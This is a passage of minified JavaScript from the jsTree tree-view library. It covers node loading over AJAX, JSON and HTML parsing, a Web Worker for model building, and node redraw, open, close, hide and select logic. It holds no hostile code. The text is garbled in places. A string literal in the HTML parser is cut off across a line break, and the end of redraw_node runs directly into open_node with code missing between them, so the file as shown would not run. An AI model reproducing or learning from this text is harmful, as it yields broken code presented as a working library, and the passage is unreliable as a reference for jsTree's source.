-o&&(this._data.core.selected=e.vakata.array_filter(this._data.core.selected,function(r){return-1===e.inArray(r,t.children_d)})),t.children=[],t.children_d=[],o&&this.trigger("changed",{action:"load_node",node:t,selected:this._data.core.selected})}return t.state.failed=!1,t.state.loading=!0,this.get_node(t,!0).addClass("jstree-loading").attr("aria-busy",!0),this._load_node(t,e.proxy(function(e){t=this._model.data[t.id],t.state.loading=!1,t.state.loaded=e,t.state.failed=!t.state.loaded -var i=this.get_node(t,!0),s=0,a=0,n=this._model.data,o=!1 -for(s=0,a=t.children.length;a>s;s++)if(n[t.children[s]]&&!n[t.children[s]].state.hidden){o=!0 -break}t.state.loaded&&i&&i.length&&(i.removeClass("jstree-closed jstree-open jstree-leaf"),o?"#"!==t.id&&i.addClass(t.state.opened?"jstree-open":"jstree-closed"):i.addClass("jstree-leaf")),i.removeClass("jstree-loading").attr("aria-busy",!1),this.trigger("load_node",{node:t,status:e}),r&&r.call(this,t,e)},this)),!0},_load_nodes:function(e,t,r,i){var s,a,n=!0,o=function(){this._load_nodes(e,t,!0)},d=this._model.data,c=[] -for(s=0,a=e.length;a>s;s++)d[e[s]]&&(!d[e[s]].state.loaded&&!d[e[s]].state.failed||!r&&i)&&(this.is_loading(e[s])||this.load_node(e[s],o),n=!1) -if(n){for(s=0,a=e.length;a>s;s++)d[e[s]]&&d[e[s]].state.loaded&&c.push(e[s]) -t&&!t.done&&(t.call(this,c),t.done=!0)}},load_all:function(t,r){if(t||(t=e.jstree.root),t=this.get_node(t),!t)return!1 -var i,s,a=[],n=this._model.data,o=n[t.id].children_d -for(t.state&&!t.state.loaded&&a.push(t.id),i=0,s=o.length;s>i;i++)n[o[i]]&&n[o[i]].state&&!n[o[i]].state.loaded&&a.push(o[i]) -a.length?this._load_nodes(a,function(){this.load_all(t,r)}):(r&&r.call(this,t),this.trigger("load_all",{node:t}))},_load_node:function(t,r){var i,s=this.settings.core.data,a=function(){return 3!==this.nodeType&&8!==this.nodeType} -return s?e.isFunction(s)?s.call(this,t,e.proxy(function(i){i===!1?r.call(this,!1):this["string"==typeof i?"_append_html_data":"_append_json_data"](t,"string"==typeof i?e(e.parseHTML(i)).filter(a):i,function(e){r.call(this,e)})},this)):"object"==typeof s?s.url?(s=e.extend(!0,{},s),e.isFunction(s.url)&&(s.url=s.url.call(this,t)),e.isFunction(s.data)&&(s.data=s.data.call(this,t)),e.ajax(s).done(e.proxy(function(i,s,n){var o=n.getResponseHeader("Content-Type") -return o&&-1!==o.indexOf("json")||"object"==typeof i?this._append_json_data(t,i,function(e){r.call(this,e)}):o&&-1!==o.indexOf("html")||"string"==typeof i?this._append_html_data(t,e(e.parseHTML(i)).filter(a),function(e){r.call(this,e)}):(this._data.core.last_error={error:"ajax",plugin:"core",id:"core_04",reason:"Could not load node",data:JSON.stringify({id:t.id,xhr:n})},this.settings.core.error.call(this,this._data.core.last_error),r.call(this,!1))},this)).fail(e.proxy(function(e){this._data.core.last_error={error:"ajax",plugin:"core",id:"core_04",reason:"Could not load node",data:JSON.stringify({id:t.id,xhr:e})},r.call(this,!1),this.settings.core.error.call(this,this._data.core.last_error)},this))):(i=e.isArray(s)?e.extend(!0,[],s):e.isPlainObject(s)?e.extend(!0,{},s):s,t.id===e.jstree.root?this._append_json_data(t,i,function(e){r.call(this,e)}):(this._data.core.last_error={error:"nodata",plugin:"core",id:"core_05",reason:"Could not load node",data:JSON.stringify({id:t.id})},this.settings.core.error.call(this,this._data.core.last_error),r.call(this,!1))):"string"==typeof s?t.id===e.jstree.root?this._append_html_data(t,e(e.parseHTML(s)).filter(a),function(e){r.call(this,e)}):(this._data.core.last_error={error:"nodata",plugin:"core",id:"core_06",reason:"Could not load node",data:JSON.stringify({id:t.id})},this.settings.core.error.call(this,this._data.core.last_error),r.call(this,!1)):r.call(this,!1):t.id===e.jstree.root?this._append_html_data(t,this._data.core.original_container_html.clone(!0),function(e){r.call(this,e)}):r.call(this,!1)},_node_changed:function(t){t=this.get_node(t),t&&-1===e.inArray(t.id,this._model.changed)&&this._model.changed.push(t.id)},_append_html_data:function(t,r,i){t=this.get_node(t),t.children=[],t.children_d=[] -var s,a,n,o=r.is("ul")?r.children():r,d=t.id,c=[],l=[],h=this._model.data,_=h[d],u=this._data.core.selected.length -for(o.each(e.proxy(function(t,r){s=this._parse_model_from_html(e(r),d,_.parents.concat()),s&&(c.push(s),l.push(s),h[s].children_d.length&&(l=l.concat(h[s].children_d)))},this)),_.children=c,_.children_d=l,a=0,n=_.parents.length;n>a;a++)h[_.parents[a]].children_d=h[_.parents[a]].children_d.concat(l) -this.trigger("model",{nodes:l,parent:d}),d!==e.jstree.root?(this._node_changed(d),this.redraw()):(this.get_container_ul().children(".jstree-initial-node").remove(),this.redraw(!0)),this._data.core.selected.length!==u&&this.trigger("changed",{action:"model",selected:this._data.core.selected}),i.call(this,!0)},_append_json_data:function(t,r,i,s){if(null!==this.element){t=this.get_node(t),t.children=[],t.children_d=[],r.d&&(r=r.d,"string"==typeof r&&(r=JSON.parse(r))),e.isArray(r)||(r=[r]) -var a=null,n={df:this._model.default_state,dat:r,par:t.id,m:this._model.data,t_id:this._id,t_cnt:this._cnt,sel:this._data.core.selected},o=this,d=function(e,t){e.data&&(e=e.data) -var r,i,s,a,n=e.dat,d=e.par,c=[],l=[],h=[],_=e.df,u=e.t_id,g=e.t_cnt,f=e.m,p=f[d],m=e.sel,v=function(e,r,i){i=i?i.concat():[],r&&i.unshift(r) -var s,a,n,o,d=e.id.toString(),c={id:d,text:e.text||"",icon:e.icon!==t?e.icon:!0,parent:r,parents:i,children:e.children||[],children_d:e.children_d||[],data:e.data,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1} -for(s in _)_.hasOwnProperty(s)&&(c.state[s]=_[s]) -if(e&&e.data&&e.data.jstree&&e.data.jstree.icon&&(c.icon=e.data.jstree.icon),(c.icon===t||null===c.icon||""===c.icon)&&(c.icon=!0),e&&e.data&&(c.data=e.data,e.data.jstree))for(s in e.data.jstree)e.data.jstree.hasOwnProperty(s)&&(c.state[s]=e.data.jstree[s]) -if(e&&"object"==typeof e.state)for(s in e.state)e.state.hasOwnProperty(s)&&(c.state[s]=e.state[s]) -if(e&&"object"==typeof e.li_attr)for(s in e.li_attr)e.li_attr.hasOwnProperty(s)&&(c.li_attr[s]=e.li_attr[s]) -if(c.li_attr.id||(c.li_attr.id=d),e&&"object"==typeof e.a_attr)for(s in e.a_attr)e.a_attr.hasOwnProperty(s)&&(c.a_attr[s]=e.a_attr[s]) -for(e&&e.children&&e.children===!0&&(c.state.loaded=!1,c.children=[],c.children_d=[]),f[c.id]=c,s=0,a=c.children.length;a>s;s++)n=v(f[c.children[s]],c.id,i),o=f[n],c.children_d.push(n),o.children_d.length&&(c.children_d=c.children_d.concat(o.children_d)) -return delete e.data,delete e.children,f[c.id].original=e,c.state.selected&&h.push(c.id),c.id},j=function(e,r,i){i=i?i.concat():[],r&&i.unshift(r) -var s,a,n,o,d,c=!1 -do c="j"+u+"_"+ ++g -while(f[c]) -d={id:!1,text:"string"==typeof e?e:"",icon:"object"==typeof e&&e.icon!==t?e.icon:!0,parent:r,parents:i,children:[],children_d:[],data:null,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1} -for(s in _)_.hasOwnProperty(s)&&(d.state[s]=_[s]) -if(e&&e.id&&(d.id=e.id.toString()),e&&e.text&&(d.text=e.text),e&&e.data&&e.data.jstree&&e.data.jstree.icon&&(d.icon=e.data.jstree.icon),(d.icon===t||null===d.icon||""===d.icon)&&(d.icon=!0),e&&e.data&&(d.data=e.data,e.data.jstree))for(s in e.data.jstree)e.data.jstree.hasOwnProperty(s)&&(d.state[s]=e.data.jstree[s]) -if(e&&"object"==typeof e.state)for(s in e.state)e.state.hasOwnProperty(s)&&(d.state[s]=e.state[s]) -if(e&&"object"==typeof e.li_attr)for(s in e.li_attr)e.li_attr.hasOwnProperty(s)&&(d.li_attr[s]=e.li_attr[s]) -if(d.li_attr.id&&!d.id&&(d.id=d.li_attr.id.toString()),d.id||(d.id=c),d.li_attr.id||(d.li_attr.id=d.id),e&&"object"==typeof e.a_attr)for(s in e.a_attr)e.a_attr.hasOwnProperty(s)&&(d.a_attr[s]=e.a_attr[s]) -if(e&&e.children&&e.children.length){for(s=0,a=e.children.length;a>s;s++)n=j(e.children[s],d.id,i),o=f[n],d.children.push(n),o.children_d.length&&(d.children_d=d.children_d.concat(o.children_d)) -d.children_d=d.children_d.concat(d.children)}return e&&e.children&&e.children===!0&&(d.state.loaded=!1,d.children=[],d.children_d=[]),delete e.data,delete e.children,d.original=e,f[d.id]=d,d.state.selected&&h.push(d.id),d.id} -if(n.length&&n[0].id!==t&&n[0].parent!==t){for(i=0,s=n.length;s>i;i++)n[i].children||(n[i].children=[]),n[i].state||(n[i].state={}),f[n[i].id.toString()]=n[i] -for(i=0,s=n.length;s>i;i++)f[n[i].parent.toString()]?(f[n[i].parent.toString()].children.push(n[i].id.toString()),p.children_d.push(n[i].id.toString())):"undefined"!=typeof o&&(o._data.core.last_error={error:"parse",plugin:"core",id:"core_07",reason:"Node with invalid parent",data:JSON.stringify({id:n[i].id.toString(),parent:n[i].parent.toString()})},o.settings.core.error.call(o,o._data.core.last_error)) -for(i=0,s=p.children.length;s>i;i++)r=v(f[p.children[i]],d,p.parents.concat()),l.push(r),f[r].children_d.length&&(l=l.concat(f[r].children_d)) -for(i=0,s=p.parents.length;s>i;i++)f[p.parents[i]].children_d=f[p.parents[i]].children_d.concat(l) -a={cnt:g,mod:f,sel:m,par:d,dpc:l,add:h}}else{for(i=0,s=n.length;s>i;i++)r=j(n[i],d,p.parents.concat()),r&&(c.push(r),l.push(r),f[r].children_d.length&&(l=l.concat(f[r].children_d))) -for(p.children=c,p.children_d=l,i=0,s=p.parents.length;s>i;i++)f[p.parents[i]].children_d=f[p.parents[i]].children_d.concat(l) -a={cnt:g,mod:f,sel:m,par:d,dpc:l,add:h}}return"undefined"!=typeof window&&"undefined"!=typeof window.document?a:void postMessage(a)},l=function(t,r){if(null!==this.element){this._cnt=t.cnt -var s,a=this._model.data -for(s in a)a.hasOwnProperty(s)&&a[s].state&&a[s].state.loading&&t.mod[s]&&(t.mod[s].state.loading=!0) -if(this._model.data=t.mod,r){var n,d=t.add,l=t.sel,h=this._data.core.selected.slice() -if(a=this._model.data,l.length!==h.length||e.vakata.array_unique(l.concat(h)).length!==l.length){for(s=0,n=l.length;n>s;s++)-1===e.inArray(l[s],d)&&-1===e.inArray(l[s],h)&&(a[l[s]].state.selected=!1) -for(s=0,n=h.length;n>s;s++)-1===e.inArray(h[s],l)&&(a[h[s]].state.selected=!0)}}t.add.length&&(this._data.core.selected=this._data.core.selected.concat(t.add)),this.trigger("model",{nodes:t.dpc,parent:t.par}),t.par!==e.jstree.root?(this._node_changed(t.par),this.redraw()):this.redraw(!0),t.add.length&&this.trigger("changed",{action:"model",selected:this._data.core.selected}),!r&&c?c(function(){i.call(o,!0)}):i.call(o,!0)}} -if(this.settings.core.worker&&window.Blob&&window.URL&&window.Worker)try{null===this._wrk&&(this._wrk=window.URL.createObjectURL(new window.Blob(["self.onmessage = "+d.toString()],{type:"text/javascript"}))),!this._data.core.working||s?(this._data.core.working=!0,a=new window.Worker(this._wrk),a.onmessage=e.proxy(function(e){l.call(this,e.data,!0) -try{a.terminate(),a=null}catch(t){}this._data.core.worker_queue.length?this._append_json_data.apply(this,this._data.core.worker_queue.shift()):this._data.core.working=!1},this),n.par?a.postMessage(n):this._data.core.worker_queue.length?this._append_json_data.apply(this,this._data.core.worker_queue.shift()):this._data.core.working=!1):this._data.core.worker_queue.push([t,r,i,!0])}catch(h){l.call(this,d(n),!1),this._data.core.worker_queue.length?this._append_json_data.apply(this,this._data.core.worker_queue.shift()):this._data.core.working=!1}else l.call(this,d(n),!1)}},_parse_model_from_html:function(r,i,s){s=s?[].concat(s):[],i&&s.unshift(i) -var a,n,o,d,c,l=this._model.data,h={id:!1,text:!1,icon:!0,parent:i,parents:s,children:[],children_d:[],data:null,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1} -for(o in this._model.default_state)this._model.default_state.hasOwnProperty(o)&&(h.state[o]=this._model.default_state[o]) -if(d=e.vakata.attributes(r,!0),e.each(d,function(t,r){return r=e.trim(r),r.length?(h.li_attr[t]=r,void("id"===t&&(h.id=r.toString()))):!0}),d=r.children("a").first(),d.length&&(d=e.vakata.attributes(d,!0),e.each(d,function(t,r){r=e.trim(r),r.length&&(h.a_attr[t]=r)})),d=r.children("a").first().length?r.children("a").first().clone():r.clone(),d.children("ins, i, ul").remove(),d=d.html(),d=e("
    ").html(d),h.text=this.settings.core.force_text?d.text():d.html(),d=r.data(),h.data=d?e.extend(!0,{},d):null,h.state.opened=r.hasClass("jstree-open"),h.state.selected=r.children("a").hasClass("jstree-clicked"),h.state.disabled=r.children("a").hasClass("jstree-disabled"),h.data&&h.data.jstree)for(o in h.data.jstree)h.data.jstree.hasOwnProperty(o)&&(h.state[o]=h.data.jstree[o]) -d=r.children("a").children(".jstree-themeicon"),d.length&&(h.icon=d.hasClass("jstree-themeicon-hidden")?!1:d.attr("rel")),h.state.icon!==t&&(h.icon=h.state.icon),(h.icon===t||null===h.icon||""===h.icon)&&(h.icon=!0),d=r.children("ul").children("li") -do c="j"+this._id+"_"+ ++this._cnt -while(l[c]) -return h.id=h.li_attr.id?h.li_attr.id.toString():c,d.length?(d.each(e.proxy(function(t,r){a=this._parse_model_from_html(e(r),h.id,s),n=this._model.data[a],h.children.push(a),n.children_d.length&&(h.children_d=h.children_d.concat(n.children_d))},this)),h.children_d=h.children_d.concat(h.children)):r.hasClass("jstree-closed")&&(h.state.loaded=!1),h.li_attr["class"]&&(h.li_attr["class"]=h.li_attr["class"].replace("jstree-closed","").replace("jstree-open","")),h.a_attr["class"]&&(h.a_attr["class"]=h.a_attr["class"].replace("jstree-clicked","").replace("jstree-disabled","")),l[h.id]=h,h.state.selected&&this._data.core.selected.push(h.id),h.id},_parse_model_from_flat_json:function(e,r,i){i=i?i.concat():[],r&&i.unshift(r) -var s,a,n,o,d=e.id.toString(),c=this._model.data,l=this._model.default_state,h={id:d,text:e.text||"",icon:e.icon!==t?e.icon:!0,parent:r,parents:i,children:e.children||[],children_d:e.children_d||[],data:e.data,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1} -for(s in l)l.hasOwnProperty(s)&&(h.state[s]=l[s]) -if(e&&e.data&&e.data.jstree&&e.data.jstree.icon&&(h.icon=e.data.jstree.icon),(h.icon===t||null===h.icon||""===h.icon)&&(h.icon=!0),e&&e.data&&(h.data=e.data,e.data.jstree))for(s in e.data.jstree)e.data.jstree.hasOwnProperty(s)&&(h.state[s]=e.data.jstree[s]) -if(e&&"object"==typeof e.state)for(s in e.state)e.state.hasOwnProperty(s)&&(h.state[s]=e.state[s]) -if(e&&"object"==typeof e.li_attr)for(s in e.li_attr)e.li_attr.hasOwnProperty(s)&&(h.li_attr[s]=e.li_attr[s]) -if(h.li_attr.id||(h.li_attr.id=d),e&&"object"==typeof e.a_attr)for(s in e.a_attr)e.a_attr.hasOwnProperty(s)&&(h.a_attr[s]=e.a_attr[s]) -for(e&&e.children&&e.children===!0&&(h.state.loaded=!1,h.children=[],h.children_d=[]),c[h.id]=h,s=0,a=h.children.length;a>s;s++)n=this._parse_model_from_flat_json(c[h.children[s]],h.id,i),o=c[n],h.children_d.push(n),o.children_d.length&&(h.children_d=h.children_d.concat(o.children_d)) -return delete e.data,delete e.children,c[h.id].original=e,h.state.selected&&this._data.core.selected.push(h.id),h.id},_parse_model_from_json:function(e,r,i){i=i?i.concat():[],r&&i.unshift(r) -var s,a,n,o,d,c=!1,l=this._model.data,h=this._model.default_state -do c="j"+this._id+"_"+ ++this._cnt -while(l[c]) -d={id:!1,text:"string"==typeof e?e:"",icon:"object"==typeof e&&e.icon!==t?e.icon:!0,parent:r,parents:i,children:[],children_d:[],data:null,state:{},li_attr:{id:!1},a_attr:{href:"#"},original:!1} -for(s in h)h.hasOwnProperty(s)&&(d.state[s]=h[s]) -if(e&&e.id&&(d.id=e.id.toString()),e&&e.text&&(d.text=e.text),e&&e.data&&e.data.jstree&&e.data.jstree.icon&&(d.icon=e.data.jstree.icon),(d.icon===t||null===d.icon||""===d.icon)&&(d.icon=!0),e&&e.data&&(d.data=e.data,e.data.jstree))for(s in e.data.jstree)e.data.jstree.hasOwnProperty(s)&&(d.state[s]=e.data.jstree[s]) -if(e&&"object"==typeof e.state)for(s in e.state)e.state.hasOwnProperty(s)&&(d.state[s]=e.state[s]) -if(e&&"object"==typeof e.li_attr)for(s in e.li_attr)e.li_attr.hasOwnProperty(s)&&(d.li_attr[s]=e.li_attr[s]) -if(d.li_attr.id&&!d.id&&(d.id=d.li_attr.id.toString()),d.id||(d.id=c),d.li_attr.id||(d.li_attr.id=d.id),e&&"object"==typeof e.a_attr)for(s in e.a_attr)e.a_attr.hasOwnProperty(s)&&(d.a_attr[s]=e.a_attr[s]) -if(e&&e.children&&e.children.length){for(s=0,a=e.children.length;a>s;s++)n=this._parse_model_from_json(e.children[s],d.id,i),o=l[n],d.children.push(n),o.children_d.length&&(d.children_d=d.children_d.concat(o.children_d)) -d.children_d=d.children.concat(d.children_d)}return e&&e.children&&e.children===!0&&(d.state.loaded=!1,d.children=[],d.children_d=[]),delete e.data,delete e.children,d.original=e,l[d.id]=d,d.state.selected&&this._data.core.selected.push(d.id),d.id},_redraw:function(){var t,r,i,s=this._model.force_full_redraw?this._model.data[e.jstree.root].children.concat([]):this._model.changed.concat([]),a=d.createElement("UL"),n=this._data.core.focused -for(r=0,i=s.length;i>r;r++)t=this.redraw_node(s[r],!0,this._model.force_full_redraw),t&&this._model.force_full_redraw&&a.appendChild(t) -this._model.force_full_redraw&&(a.className=this.get_container_ul()[0].className,a.setAttribute("role","group"),this.element.empty().append(a)),null!==n&&this.settings.core.restore_focus&&(t=this.get_node(n,!0),t&&t.length&&t.children(".jstree-anchor")[0]!==d.activeElement?t.children(".jstree-anchor").focus():this._data.core.focused=null),this._model.force_full_redraw=!1,this._model.changed=[],this.trigger("redraw",{nodes:s})},redraw:function(e){e&&(this._model.force_full_redraw=!0),this._redraw()},draw_children:function(t){var r=this.get_node(t),i=!1,s=!1,a=!1,n=d -if(!r)return!1 -if(r.id===e.jstree.root)return this.redraw(!0) -if(t=this.get_node(t,!0),!t||!t.length)return!1 -if(t.children(".jstree-children").remove(),t=t[0],r.children.length&&r.state.loaded){for(a=n.createElement("UL"),a.setAttribute("role","group"),a.className="jstree-children",i=0,s=r.children.length;s>i;i++)a.appendChild(this.redraw_node(r.children[i],!0,!0)) -t.appendChild(a)}},redraw_node:function(t,r,i,s){var a=this.get_node(t),n=!1,o=!1,c=!1,l=!1,h=!1,_=!1,u="",g=d,f=this._model.data,p=!1,m=null,v=0,j=0,y=!1,k=!1 -if(!a)return!1 -if(a.id===e.jstree.root)return this.redraw(!0) -if(r=r||0===a.children.length,t=d.querySelector?this.element[0].querySelector("#"+(-1!=="0123456789".indexOf(a.id[0])?"\\3"+a.id[0]+" "+a.id.substr(1).replace(e.jstree.idregex,"\\$&"):a.id.replace(e.jstree.idregex,"\\$&"))):d.getElementById(a.id))t=e(t),i||(n=t.parent().parent()[0],n===this.element[0]&&(n=null),o=t.index()),r||!a.children.length||t.children(".jstree-children").length||(r=!0),r||(c=t.children(".jstree-children")[0]),p=t.children(".jstree-anchor")[0]===d.activeElement,t.remove() -else if(r=!0,!i){if(n=a.parent!==e.jstree.root?e("#"+a.parent.replace(e.jstree.idregex,"\\$&"),this.element)[0]:null,!(null===n||n&&f[a.parent].state.opened))return!1 -o=e.inArray(a.id,null===n?f[e.jstree.root].children:f[a.parent].children)}t=this._data.core.node.cloneNode(!0),u="jstree-node " -for(l in a.li_attr)if(a.li_attr.hasOwnProperty(l)){if("id"===l)continue -"class"!==l?t.setAttribute(l,a.li_attr[l]):u+=a.li_attr[l]}for(a.a_attr.id||(a.a_attr.id=a.id+"_anchor"),t.setAttribute("aria-selected",!!a.state.selected),t.setAttribute("aria-level",a.parents.length),t.setAttribute("aria-labelledby",a.a_attr.id),a.state.disabled&&t.setAttribute("aria-disabled",!0),l=0,h=a.children.length;h>l;l++)if(!f[a.children[l]].state.hidden){y=!0 -break}if(null!==a.parent&&f[a.parent]&&!a.state.hidden&&(l=e.inArray(a.id,f[a.parent].children),k=a.id,-1!==l))for(l++,h=f[a.parent].children.length;h>l&&(f[f[a.parent].children[l]].state.hidden||(k=f[a.parent].children[l]),k===a.id);l++);a.state.hidden&&(u+=" jstree-hidden"),a.state.loading&&(u+=" jstree-loading"),a.state.loaded&&!y?u+=" jstree-leaf":(u+=a.state.opened&&a.state.loaded?" jstree-open":" jstree-closed",t.setAttribute("aria-expanded",a.state.opened&&a.state.loaded)),k===a.id&&(u+=" jstree-last"),t.id=a.id,t.className=u,u=(a.state.selected?" jstree-clicked":"")+(a.state.disabled?" jstree-disabled":"") -for(h in a.a_attr)if(a.a_attr.hasOwnProperty(h)){if("href"===h&&"#"===a.a_attr[h])continue -"class"!==h?t.childNodes[1].setAttribute(h,a.a_attr[h]):u+=" "+a.a_attr[h]}if(u.length&&(t.childNodes[1].className="jstree-anchor "+u),(a.icon&&a.icon!==!0||a.icon===!1)&&(a.icon===!1?t.childNodes[1].childNodes[0].className+=" jstree-themeicon-hidden":-1===a.icon.indexOf("/")&&-1===a.icon.indexOf(".")?t.childNodes[1].childNodes[0].className+=" "+a.icon+" jstree-themeicon-custom":(t.childNodes[1].childNodes[0].style.backgroundImage='url("'+a.icon+'")',t.childNodes[1].childNodes[0].style.backgroundPosition="center center",t.childNodes[1].childNodes[0].style.backgroundSize="auto",t.childNodes[1].childNodes[0].className+=" jstree-themeicon-custom")),this.settings.core.force_text?t.childNodes[1].appendChild(g.createTextNode(a.text)):t.childNodes[1].innerHTML+=a.text,r&&a.children.length&&(a.state.opened||s)&&a.state.loaded){for(_=g.createElement("UL"),_.setAttribute("role","group"),_.className="jstree-children",l=0,h=a.children.length;h>l;l++)_.appendChild(this.redraw_node(a.children[l],r,!0)) -t.appendChild(_)}if(c&&t.appendChild(c),!i){for(n||(n=this.element[0]),l=0,h=n.childNodes.length;h>l;l++)if(n.childNodes[l]&&n.childNodes[l].className&&-1!==n.childNodes[l].className.indexOf("jstree-children")){m=n.childNodes[l] -break}m||(m=g.createElement("UL"),m.setAttribute("role","group"),m.className="jstree-children",n.appendChild(m)),n=m,oa;a++)this.open_node(r[a],i,s) -return!0}return r=this.get_node(r),r&&r.id!==e.jstree.root?(s=s===t?this.settings.core.animation:s,this.is_closed(r)?this.is_loaded(r)?(o=this.get_node(r,!0),d=this,o.length&&(s&&o.children(".jstree-children").length&&o.children(".jstree-children").stop(!0,!0),r.children.length&&!this._firstChild(o.children(".jstree-children")[0])&&this.draw_children(r),s?(this.trigger("before_open",{node:r}),o.children(".jstree-children").css("display","none").end().removeClass("jstree-closed").addClass("jstree-open").attr("aria-expanded",!0).children(".jstree-children").stop(!0,!0).slideDown(s,function(){this.style.display="",d.element&&d.trigger("after_open",{node:r})})):(this.trigger("before_open",{node:r}),o[0].className=o[0].className.replace("jstree-closed","jstree-open"),o[0].setAttribute("aria-expanded",!0))),r.state.opened=!0,i&&i.call(this,r,!0),o.length||this.trigger("before_open",{node:r}),this.trigger("open_node",{node:r}),s&&o.length||this.trigger("after_open",{node:r}),!0):this.is_loading(r)?setTimeout(e.proxy(function(){this.open_node(r,i,s)},this),500):void this.load_node(r,function(e,t){return t?this.open_node(e,i,s):i?i.call(this,e,!1):!1}):(i&&i.call(this,r,!1),!1)):!1},_open_to:function(t){if(t=this.get_node(t),!t||t.id===e.jstree.root)return!1 -var r,i,s=t.parents -for(r=0,i=s.length;i>r;r+=1)r!==e.jstree.root&&this.open_node(s[r],!1,0) -return e("#"+t.id.replace(e.jstree.idregex,"\\$&"),this.element)},close_node:function(r,i){var s,a,n,o -if(e.isArray(r)){for(r=r.slice(),s=0,a=r.length;a>s;s++)this.close_node(r[s],i) -return!0}return r=this.get_node(r),r&&r.id!==e.jstree.root?this.is_closed(r)?!1:(i=i===t?this.settings.core.animation:i,n=this,o=this.get_node(r,!0),r.state.opened=!1,this.trigger("close_node",{node:r}),void(o.length?i?o.children(".jstree-children").attr("style","display:block !important").end().removeClass("jstree-open").addClass("jstree-closed").attr("aria-expanded",!1).children(".jstree-children").stop(!0,!0).slideUp(i,function(){this.style.display="",o.children(".jstree-children").remove(),n.element&&n.trigger("after_close",{node:r})}):(o[0].className=o[0].className.replace("jstree-open","jstree-closed"),o.attr("aria-expanded",!1).children(".jstree-children").remove(),this.trigger("after_close",{node:r})):this.trigger("after_close",{node:r}))):!1},toggle_node:function(t){var r,i -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.toggle_node(t[r]) -return!0}return this.is_closed(t)?this.open_node(t):this.is_open(t)?this.close_node(t):void 0},open_all:function(t,r,i){if(t||(t=e.jstree.root),t=this.get_node(t),!t)return!1 -var s,a,n,o=t.id===e.jstree.root?this.get_container_ul():this.get_node(t,!0) -if(!o.length){for(s=0,a=t.children_d.length;a>s;s++)this.is_closed(this._model.data[t.children_d[s]])&&(this._model.data[t.children_d[s]].state.opened=!0) -return this.trigger("open_all",{node:t})}i=i||o,n=this,o=this.is_closed(t)?o.find(".jstree-closed").addBack():o.find(".jstree-closed"),o.each(function(){n.open_node(this,function(e,t){t&&this.is_parent(e)&&this.open_all(e,r,i)},r||0)}),0===i.find(".jstree-closed").length&&this.trigger("open_all",{node:this.get_node(i)})},close_all:function(t,r){if(t||(t=e.jstree.root),t=this.get_node(t),!t)return!1 -var i,s,a=t.id===e.jstree.root?this.get_container_ul():this.get_node(t,!0),n=this -for(a.length&&(a=this.is_open(t)?a.find(".jstree-open").addBack():a.find(".jstree-open"),e(a.get().reverse()).each(function(){n.close_node(this,r||0)})),i=0,s=t.children_d.length;s>i;i++)this._model.data[t.children_d[i]].state.opened=!1 -this.trigger("close_all",{node:t})},is_disabled:function(e){return e=this.get_node(e),e&&e.state&&e.state.disabled},enable_node:function(t){var r,i -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.enable_node(t[r]) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(t.state.disabled=!1,this.get_node(t,!0).children(".jstree-anchor").removeClass("jstree-disabled").attr("aria-disabled",!1),void this.trigger("enable_node",{node:t})):!1},disable_node:function(t){var r,i -if(e.isArray(t)){for(t=t.slice(),r=0,i=t.length;i>r;r++)this.disable_node(t[r]) -return!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?(t.state.disabled=!0,this.get_node(t,!0).children(".jstree-anchor").addClass("jstree-disabled").attr("aria-disabled",!0),void this.trigger("disable_node",{node:t})):!1},is_hidden:function(e){return e=this.get_node(e),e.state.hidden===!0},hide_node:function(t,r){var i,s -if(e.isArray(t)){for(t=t.slice(),i=0,s=t.length;s>i;i++)this.hide_node(t[i],!0) -return r||this.redraw(),!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?void(t.state.hidden||(t.state.hidden=!0,this._node_changed(t.parent),r||this.redraw(),this.trigger("hide_node",{node:t}))):!1},show_node:function(t,r){var i,s -if(e.isArray(t)){for(t=t.slice(),i=0,s=t.length;s>i;i++)this.show_node(t[i],!0) -return r||this.redraw(),!0}return t=this.get_node(t),t&&t.id!==e.jstree.root?void(t.state.hidden&&(t.state.hidden=!1,this._node_changed(t.parent),r||this.redraw(),this.trigger("show_node",{node:t}))):!1},hide_all:function(t){var r,i=this._model.data,s=[] -for(r in i)i.hasOwnProperty(r)&&r!==e.jstree.root&&!i[r].state.hidden&&(i[r].state.hidden=!0,s.push(r)) -return this._model.force_full_redraw=!0,t||this.redraw(),this.trigger("hide_all",{nodes:s}),s},show_all:function(t){var r,i=this._model.data,s=[] -for(r in i)i.hasOwnProperty(r)&&r!==e.jstree.root&&i[r].state.hidden&&(i[r].state.hidden=!1,s.push(r)) -return this._model.force_full_redraw=!0,t||this.redraw(),this.trigger("show_all",{nodes:s}),s},activate_node:function(e,r){if(this.is_disabled(e))return!1 -if(r&&"object"==typeof r||(r={}),this._data.core.last_clicked=this._data.core.last_clicked&&this._data.core.last_clicked.id!==t?this.get_node(this._data.core.last_clicked.id):null,this._data.core.last_clicked&&!this._data.core.last_clicked.state.selected&&(this._data.core.last_clicked=null),!this._data.core.last_clicked&&this._data.core.selected.length&&(this._data.core.last_clicked=this.get_node(this._data.core.selected[this._data.core.selected.length-1])),this.settings.core.multiple&&(r.metaKey||r.ctrlKey||r.shiftKey)&&(!r.shiftKey||this._data.core.last_clicked&&this.get_parent(e)&&this.get_parent(e)===this._data.core.last_clicked.parent))if(r.shiftKey){var i,s,a=this.get_node(e).id,n=this._data.core.last_clicked.id,o=this.get_node(this._data.core.last_clicked.parent).children,d=!1 -for(i=0,s=o.length;s>i;i+=1)o[i]===a&&(d=!d),o[i]===n&&(d=!d),this.is_disabled(o[i])||!d&&o[i]!==a&&o[i]!==n?this.deselect_node(o[i],!0,r):this.is_hidden(o[i])||this.select_node(o[i],!0,!1,r) -this.trigger("changed",{action:"select_node",node:this.get_node(e),selected:this._data.core.selected,event:r})}else this.is_selected(e)?this.deselect_node(e,!1,r):this.select_node(e,!1,!1,r) -else!this.settings.core.multiple&&(r.metaKey||r.ctrlKey||r.shiftKey)&&this.is_selected(e)?this.deselect_node(e,!1,r):(this.deselect_all(!0),this.select_node(e,!1,!1,r),this._data.core.last_clicked=this.get_node(e)) 